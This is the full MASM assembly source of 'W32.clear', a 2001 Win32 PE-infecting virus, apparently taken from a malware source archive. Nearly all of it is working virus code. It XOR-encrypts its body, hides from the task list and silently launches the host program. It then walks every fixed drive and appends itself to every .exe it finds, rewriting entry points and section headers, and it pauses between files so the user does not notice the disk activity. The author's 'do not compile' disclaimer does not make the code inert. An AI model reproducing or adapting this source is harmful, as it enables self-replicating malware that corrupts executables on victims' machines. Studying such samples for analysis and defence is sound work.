MalwareSourceCode/Win32/Infector/Win32.Clear.asm
2020-10-16 23:26:21 +02:00

443 lines
21 KiB
NASM

; [ W32.clear by drcmda ]
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
; SIMPLE BUT CLEAR WIN32 PE INFECTOR, USES SIMPLE XOR ENCRYPTION,
; MUTEXES AND DIRECTORY TRAVERSEL (ON EVERY FIXED DRIVE)... I FOR
; MYSELF DON'T LIKE VIRII BUT SINCE I DISCOVERED THE PE-HEADER I
; JUST WANTED TO WRITE ONE :) I TRIED TO UNDERSTAND 100% OF THE
; TECHNIQUES USED FOR THIS PURPOSE SO I WROTE EVERY ROUTINE IN THIS
; VIRUS ON MY OWN. I ALSO TRIED TO OPTIMIZE COMMON STRUCTURES LIKE
; INFECTING, API-BASE SEARCHING, DIR-SCANNING, ... I WOULD NEVER
; SPREAD A VIRUS, I WROTE THIS JUST TO GET A BETTER GRIP WITH THE
; PE HEADER ;) HEHE BYE... - DRCMDA [ DRCMDA@GMX.DE ] (C) 2001
; -----------------------------------------------------------------
; P L E A S E D O N O T C O M P I L E (A N D R U N !) T H I S
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
.486
.MODEL FLAT, STDCALL
OPTION CASEMAP: NONE
INCLUDE \MASM32\INCLUDE\KERNEL32.INC
INCLUDELIB \MASM32\LIB\KERNEL32.LIB
VIRUS_SIZE EQU VIRUS_END - VIRUS_START
MAX_PATH EQU 104H
OF_READ EQU 000H
GHND EQU 002H OR 040H
FILE_ATTRIBUTE_NORMAL EQU 080H
FILE_ATTRIBUTE_DIR EQU 010H
DRIVE_FIXED EQU 003H
.CODE
FIRST_GEN:
PUSH 0
CALL ExitProcess
VIRUS_START:
PUSHAD
CALL DELTA
DELTA: POP EBP
SUB EBP, DELTA ; EBP = DELTA OFFSET
XOR_KEY:MOV DH,0 ; WILL BE PATCHED LATER...
LEA ESI, [ EBP + E_START ] ; SO NO XOR EDX, EDX :)
PUSH ESI
MOV ECX, VIRUS_END - E_START
;________________ _ _ _ [ -ENCRYPT- ] _ _ _ __
ENCRYPT:XOR BYTE PTR [ ESI ], DH ; EN/DE-CRYPTS THE VIRUS_BDY
ROL DH, 1 ; VERY LAME I KNOW...
INC ESI
DEC ECX
JNZ ENCRYPT
RET
E_START:CALL GET_KERNEL ; GET KERNEL BASE
MOV ECX, 27
LEA ESI, [ EBP + ___KERNEL32 ]
CALL GET_APIS ; GET KERNEL API'S
CALL _M01
DB "blablabla",0
_M01: PUSH 1
PUSH 0
CALL [ _CREATEMUTEX ]
CALL [ _GETLASTERROR ]
TEST EAX, EAX
JNZ MUTEX_EXIST
PUSH 1
PUSH 0
CALL [ EBP + _RSP ] ; TRY TO HIDE FROM TASK-LIST
CALL [ EBP + _GETCOMMANDLINE ] ; START REAL HOST WITH WINEXIT
PUSH 1 ; NOW THE USER WON'T NOTIZE
PUSH EAX ; ANY LOADING-TIME INCREASE
CALL [ EBP + _WINEXEC ]
CALL INFECT_EVERYTHING ; THE NAME SAYS ALL :)
PUSH 0
PUSH 0
CALL [ EBP + _BEEP ]
PUSH 0
CALL [ EBP + _EXITPROCESS ] ; WE'RE DONE, THE ENTIRE FUCKING
; COMPUTER SHOULD BE INFECTED :)
MUTEX_EXIST:
ERR_EXT:POPAD
HRETURN:PUSH DWORD PTR OFFSET FIRST_GEN ; RETURN TO HOST
RET ; WILL BE PATCHED LATER
;________________ _ _ _ [ -GET_KERNEL- ] _ _ _ __
GET_KERNEL: ; RETURNS THE KERNEL BASE
MOV ECX, [ ESP + 9 * 4 ] ; SIMPLE BUT SMALL :)
@@: DEC ECX
MOVZX EDX, WORD PTR [ ECX + 03CH ] ; EDX = POINTER TO PE_HDR
CMP ECX, [ ECX + EDX + 034H ] ; COMPARE CURRENT BASE WITH
JNZ @B ; THE KERNEL IMAGE_BASE (MZ)
MOV [ EBP + _KERNEL ], ECX ; STORE RESULT
MOV [ EBP + _DEFAULT ], ECX
RET
;________________ _ _ _ [ -GET_APIS- ] _ _ _ __
GET_APIS: ; SCANS THROUGH API TABLE
INC ESI ; AND RETURNS ADDRESSES
PUSH ECX
CALL GET_API ; SEARCH SINGLE API ADDRESS
POP ECX
MOVZX EBX, BYTE PTR [ ESI - 1 ]
ADD ESI, EBX ; STORE ADDRESS IN THE
MOV [ ESI ], EAX ; API TABLE...
ADD ESI, 4
LOOP GET_APIS ; NEXT ONE
RET
;________________ _ _ _ [ -GET_API- ] _ _ _ __
GET_API: ; SCANS FOR A SINGLE API ADR
MOV EDX, [ EBP + _DEFAULT ] ; EDX = DEFAULT MODULE BASE
ADD EDX, [ EDX + 03CH ] ; + OFFSET PE_HEADER
MOV EDX, [ EDX + 078H ] ; EDX = PTR EXPORT_DIR RVA
ADD EDX, [ EBP + _DEFAULT ] ; + BASE
MOV EDI, [ EDX + 020H ] ; EDI = PTR ADDRESS_OF_NAMES RVA
ADD EDI, [ EBP + _DEFAULT ] ; + BASE
MOV EDI, [ EDI ] ; EDI = PTR ADR_OF_NAMES RVA
ADD EDI, [ EBP + _DEFAULT ] ; + BASE
MOV EAX, [ EDX + 018H ] ; EAX = NUMBER_OF_NAMES
XOR EBX, EBX
NXT_ONE:INC EBX
MOVZX ECX, BYTE PTR [ ESI - 1 ] ; LENGHT OF SPEZIFED API NAME
PUSH ESI
PUSH EDI
REPZ CMPSB ; COMPARE API NAME WITH
POP EDI ; EXPORT ENTRY
POP ESI
JZ FOUND
PUSH EAX
XOR AL, AL
SCASB ; GET NEXT ONE
JNZ $ - 1
POP EAX
DEC EAX ; DECREASE NUMBER_OF_NAMES
JZ ERR_EXT
JMP NXT_ONE
FOUND: MOV ECX, [ EDX + 024H ] ; ECX = PTR NBR_NAME_ORDS RVA
ADD ECX, [ EBP + _DEFAULT ] ; + BASE
DEC EBX
MOVZX EAX, WORD PTR [ ECX + EBX * 2 ] ; EAX = ORDINAL OF FUNCTION
MOV EBX, [ EDX + 01CH ] ; EBX = PTR ADR_OF_FUNCTIONS RVA
ADD EBX, [ EBP + _DEFAULT ] ; + BASE
MOV EAX, [ EBX + EAX * 4 ] ; EAX = FUNCTION RVA!!!!
ADD EAX, [ EBP + _DEFAULT ] ; + BASE
RET
;________________ _ _ _ [ -INFECT_EVERYTHING- ] _ _ _ __
INFECT_EVERYTHING: ; INFECTS EVERY FIXED DRIVE!!!
LEA EAX, [ EBP + DRIVES ] ;
MOV [ EBP + OFS ], EAX ; GET DRIVE STRINGS
PUSH EAX
PUSH 50
CALL [ EBP + _GETLOGICALDRIVESTRINGS ]
LOOP_: PUSH [ EBP + OFS ]
CALL [ EBP + _GETDRIVETYPE ] ; IS IT A FIXED DRIVE???
CMP EAX, DRIVE_FIXED
JNZ BAHHH
PUSH [ EBP + OFS ]
CALL [ EBP + _SETCURRENTDIR ]
CALL INFECT_DRIVE ; LET'S INFECT IT :)
BAHHH: ADD [ EBP + OFS ], 4 ; GET NEXT CANDIDATE
MOV EAX, [ EBP + OFS ]
CMP BYTE PTR [ EAX ], 0
JNZ LOOP_
RET
;________________ _ _ _ [ -INFECT_DRIVE- ] _ _ _ __
INFECT_DRIVE: ; INFECTS THE WHOLE DRIVE :)
LEA EAX, [ EBP + W32FINDDATA ] ;
PUSH EAX
LEA EAX, [ EBP + FILE_MASK ]
PUSH EAX
CALL [ EBP + _FINDFIRSTFILE ] ; START SEARCHING
INC EAX
JZ _S_OUT
DEC EAX
MOV [ EBP + S_HANDLE ], EAX
_S_SCAN:CMP [ EBP + F_OATTRIBS ], FILE_ATTRIBUTE_DIR
JNZ NODIR
cmp BYTE PTR [ EBP + FILENAME ],"." ; "." AND ".." ARE NOT NEEDED...
JZ _NEXT
LEA EAX, [ EBP + FILENAME ] ; IF WE FOUND A DIRECTORY WE SET
PUSH EAX ; SET THE CUR DIR TO THIS PLACE AND
CALL [ EBP + _SETCURRENTDIR ] ; CONTINUE THE SEARCH THERE...
PUSH [ EBP + S_HANDLE ] ; SAVE SEARCH HANDLE
call INFECT_DRIVE ; RECURSIVE
POP [ EBP + S_HANDLE ] ; GET OLD HANDLE AND CONTINUE
JMP _NEXT
NODIR: LEA EAX, [ EBP + FILENAME ]
PUSH EAX
CALL [ EBP + _LSTRLEN ] ; EXCUSE MY LAZYNESS :)
CMP DWORD PTR [ EBP + FILENAME + EAX - 4 ], "EXE."
JZ _1
CMP DWORD PTR [ EBP + FILENAME + EAX - 4 ], "exe."
JNZ _NEXT
_1: CMP [ EBP + FILESIZEH ], 0 ; ONLY FILES UNDER 4 GIGS...
JNZ _NEXT
CALL INFECT_FILE ; EXE FOUND SO INFECT IT!
_NEXT: PUSH 100 ; WAIT 100ms NOW THE USER SHOULDN'T
CALL [ EBP + _SLEEP ] ; NOTIZE ANY DISK-USAGE... (HOPE SO)
LEA EAX, [ EBP + W32FINDDATA ]
PUSH EAX
PUSH [ EBP + S_HANDLE ]
CALL [ EBP + _FINDNEXTFILE ] ; GRAB SEARCH_HANDLE AND SEARCH
TEST EAX, EAX ; MORE FILES THAT ARE MATCHING TO
JNZ _S_SCAN ; OUR PATTERN ("*")...
LEA EAX, [ EBP + BACK ]
PUSH EAX
CALL [ EBP + _SETCURRENTDIR ] ; ".." MEANS GET ONE DIR BACK
PUSH [ EBP + S_HANDLE ]
CALL [ EBP + _FINDCLOSE ]
_S_OUT: RET
;________________ _ _ _ [ -OPEN_FILE- ] _ _ _ __
INFECT_FILE: ; OPENS A FILE AND ALLOCATE MEM
PUSH FILE_ATTRIBUTE_NORMAL ; I DON'T USE FILEMAPPING COZ
LEA EAX, [ EBP + FILENAME ] ; I SIMPLY HATE IT... IMAGINE
PUSH EAX ; YOU MAP A FILE AND BEGIN TO
CALL [ EBP + _SETFILEATTRIBUTES ] ; MAKE THE FIRST CHANGES, NOW
; YOU REALIZE THE PE IS NOT
PUSH OF_READ ; VALID OR CORRUPTED (PACKED
LEA EAX, [ EBP + FILENAME ] ; FILES OR SOME MS PE'S
PUSH EAX ; [OUTLOOK])... THIS PE SHOULD
CALL [ EBP + __LOPEN ] ; BE HISTORY NOW :) I USED IT
MOV [ EBP + FILEHANDLE ], EAX ; BEFORE AND MUST SAY THAT
MOV EAX, [ EBP + FILESIZE ] ; I HAD TONS OF PROBLEMS WITH
ADD [ EBP + MAPSIZE ], EAX ; THIS TECHNIQUE...
PUSH [ EBP + MAPSIZE ]
PUSH GHND
CALL [ EBP + _GLOBALALLOC ]
MOV [ EBP + H_BUFFER ], EAX
PUSH EAX
CALL [ EBP + _GLOBALLOCK ] ; ALLOCATE MEM FOR THE FILE +
TEST EAX, EAX ; VIRUS_BODY
JZ _EXIT
MOV [ EBP + M_BUFFER ], EAX
PUSH [ EBP + FILESIZE ]
PUSH [ EBP + M_BUFFER ]
PUSH [ EBP + FILEHANDLE ]
CALL [ EBP + __LREAD ] ; READ ENTIRE FILE TO BUFFER
PUSH [ EBP + FILEHANDLE ]
CALL [ EBP + __LCLOSE ]
;________________ _ _ _ [ -INFECT_FILE- ] _ _ _ __
MOV EDI, [ EBP + M_BUFFER ] ; EDI = POINTER TO MEM BLOCK
CMP WORD PTR [ EDI ], "ZM" ; DO SOME CHECKS (MZ/PE/INFMARK)
JNZ _EXIT
ADD EDI, [EDI + 03CH] ; EDI = POINTER TO PE_HDR
CMP WORD PTR [ EDI ], "EP"
JNZ _EXIT
CMP DWORD PTR [ EDI + 04CH ], 0
JNZ _EXIT
; RETURN LAST SECTION
MOV ECX, [ EDI + 074H ] ; ECX = NUMBER_OF_RVA_AND_SIZES
LEA ECX, [ ECX * 8 + EDI ] ; x 8 + OFFSET PE_HEADER
MOVZX EAX, WORD PTR [ EDI + 006H ] ; EAX = NUMBER_OF_SECTIONS
DEC EAX ; - 1
LEA EBX, [ EAX + EAX * 4 ] ; EBX = EAX x 28H
LEA EBX, [ EBX * 8 ] ; ...
LEA EBX, [ EBX + ECX + 078H ] ; EBX = EBX + ECX + 078H
MOV EAX, VIRUS_SIZE
XADD [ EBX + 008H ], EAX ; CHANGE VIRTUALSIZE
CMP EAX, [ EBX + 010H ]
JA _EXIT
PUSH EAX
PUSH DWORD PTR [ EBX + 010H ]
ADD EAX, VIRUS_SIZE
XOR EDX, EDX
MOV ECX, [ EDI + 03CH ]
DIV ECX
INC EAX
IMUL EAX, ECX
MOV [ EBX + 010H ], EAX ; CHANGE SIZE_OF_RAW_DATA
POP ECX
MOV EAX, [ EBX + 010H ]
SUB EAX, ECX ; CHANGE SIZE_OF_IMAGE
ADD [ EDI + 050H ], EAX
; CHANGE ATTRIBS & INFMARK
OR DWORD PTR [ EBX + 024H ], 0C0000000H
MOV DWORD PTR [ EDI + 04CH ], "BDHP"
POP EAX
ADD EAX, [ EBX + 00CH ]
XCHG [ EDI + 028H ], EAX ; CHANGE ENTRY_POINT
ADD EAX, [ EDI + 034H ]
MOV EDI, [ EBX + 014H ] ; VIRUS_POS = VIRT_ADR +
ADD EDI, [ EBX + 008H ] ; VIRT_SIZE
MOV ECX, VIRUS_SIZE
SUB EDI, ECX
ADD EDI, [ EBP + M_BUFFER ]
LEA ESI, [ EBP + VIRUS_START ]
REP MOVSB ; WRITE VIRUS_BODY TO BUFFER
;________________ _ _ _ [ -CLOSE_FILE- ] _ _ _ __
ADD BYTE PTR [ EBP + XOR_KEY + 1 ], 10
MOV DH, BYTE PTR [ EBP + XOR_KEY + 1 ]
MOV BYTE PTR [ EDI - ( VIRUS_END - XOR_KEY ) + 1 ], DH
MOV [ EDI - ( VIRUS_END - HRETURN ) + 1 ], EAX
LEA ESI, [ EDI - ( VIRUS_END - E_START ) ]
MOV ECX, VIRUS_END - E_START
CALL ENCRYPT ; ENCRYPT VIRUS_BODY
PUSH 0 ; TRUNCATE FILE AND OPEN
LEA EAX, [ EBP + FILENAME ] ; FILE FOR WRITE ACCESS
PUSH EAX ; (FILE ATTRIBS ARE SET ABOVE)
CALL [ EBP + __LCREAT ]
INC EAX
JZ _EXIT
MOV EAX, [ EBX + 014H ] ; FILESIZE = VIRT_ADR +
ADD EAX, [ EBX + 010H ] ; SIZE_OF_RAW_DATA
PUSH EAX
PUSH [ EBP + M_BUFFER ] ; WRITE BUFFER TO FILE...
PUSH [ EBP + FILEHANDLE ] ; CLOSE FILE...
CALL [ EBP + __LWRITE ] ; GET RID OF THOSE MEMORY
PUSH [ EBP + FILEHANDLE ] ; POINTERS AND FREE MEMORY...
CALL [ EBP + __LCLOSE ] ; SET OLD FILE ATTRIBUTES
_EXIT: PUSH [ EBP + M_BUFFER ]
CALL [ EBP + _GLOBALUNLOCK ]
PUSH [ EBP + H_BUFFER ]
CALL [ EBP + _GLOBALFREE ]
PUSH [ EBP + F_OATTRIBS ]
LEA EAX, [ EBP + FILENAME ]
PUSH EAX
CALL [ EBP + _SETFILEATTRIBUTES ]
RET
;________________ _ _ _ [ -VIRUS_DATA- ] _ _ _ __
___KERNEL32: ;
DB 06,"_lopen" ; API TABLE
__LOPEN DD 0 ; WILL BE FILLED UP WITH ADR'S
DB 06,"_lread" ; FROM A SPEZIFED MODULE-EXPORT
__LREAD DD 0 ; TABLE (IN THIS CASE KERNEL32)
DB 07,"_lwrite"
__LWRITE DD 0
DB 07,"_lclose"
__LCLOSE DD 0
DB 07,"_lcreat"
__LCREAT DD 0
DB 11,"GlobalAlloc"
_GLOBALALLOC DD 0
DB 10,"GlobalLock"
_GLOBALLOCK DD 0
DB 12,"GlobalUnlock"
_GLOBALUNLOCK DD 0
DB 10,"GlobalFree"
_GLOBALFREE DD 0
DB 13,"FindFirstFile"
_FINDFIRSTFILE DD 0
DB 12,"FindNextFile"
_FINDNEXTFILE DD 0
DB 09,"FindClose"
_FINDCLOSE DD 0
DB 17,"SetFileAttributes"
_SETFILEATTRIBUTES DD 0
DB 17,"GetFileAttributes"
_GETFILEATTRIBUTES DD 0
DB 19,"SetCurrentDirectory"
_SETCURRENTDIR DD 0
DB 22,"GetLogicalDriveStrings"
_GETLOGICALDRIVESTRINGS DD 0
DB 12,"GetDriveType"
_GETDRIVETYPE DD 0
DB 07,"lstrlen"
_LSTRLEN DD 0
DB 04,"Beep"
_BEEP DD 0
DB 11,"CreateMutex"
_CREATEMUTEX DD 0
DB 12,"ReleaseMutex"
_RELEASEMUTEX DD 0
DB 12,"GetLastError"
_GETLASTERROR DD 0
DB 11,"ExitProcess"
_EXITPROCESS DD 0
DB 22,"RegisterServiceProcess"
_RSP DD 0
DB 14,"GetCommandLine"
_GETCOMMANDLINE DD 0
DB 07,"WinExec"
_WINEXEC DD 0
DB 05,"Sleep"
_SLEEP DD 0
_KERNEL DD 0 ; BASE PLACEHOLDERS
_DEFAULT DD 0
MAPSIZE DD VIRUS_SIZE + 1000H
FILEHANDLE DD 0
H_BUFFER DD 0
M_BUFFER DD 0
W32FINDDATA: ; WIN32_FIND_DATA STRUC
F_OATTRIBS DD 0
DD 6 DUP ( 0 )
FILESIZEH DD 0
FILESIZE DD 0
DD 2 DUP ( 0 )
FILENAME DB MAX_PATH DUP ( 0 )
DB 14 DUP ( 0 )
FILE_MASK DB "*", 0
DRIVES DB 50 dup ( 0 )
BACK DB "..", 0
S_HANDLE DD 0
OFS DD 0
VIRUS_END:
END VIRUS_START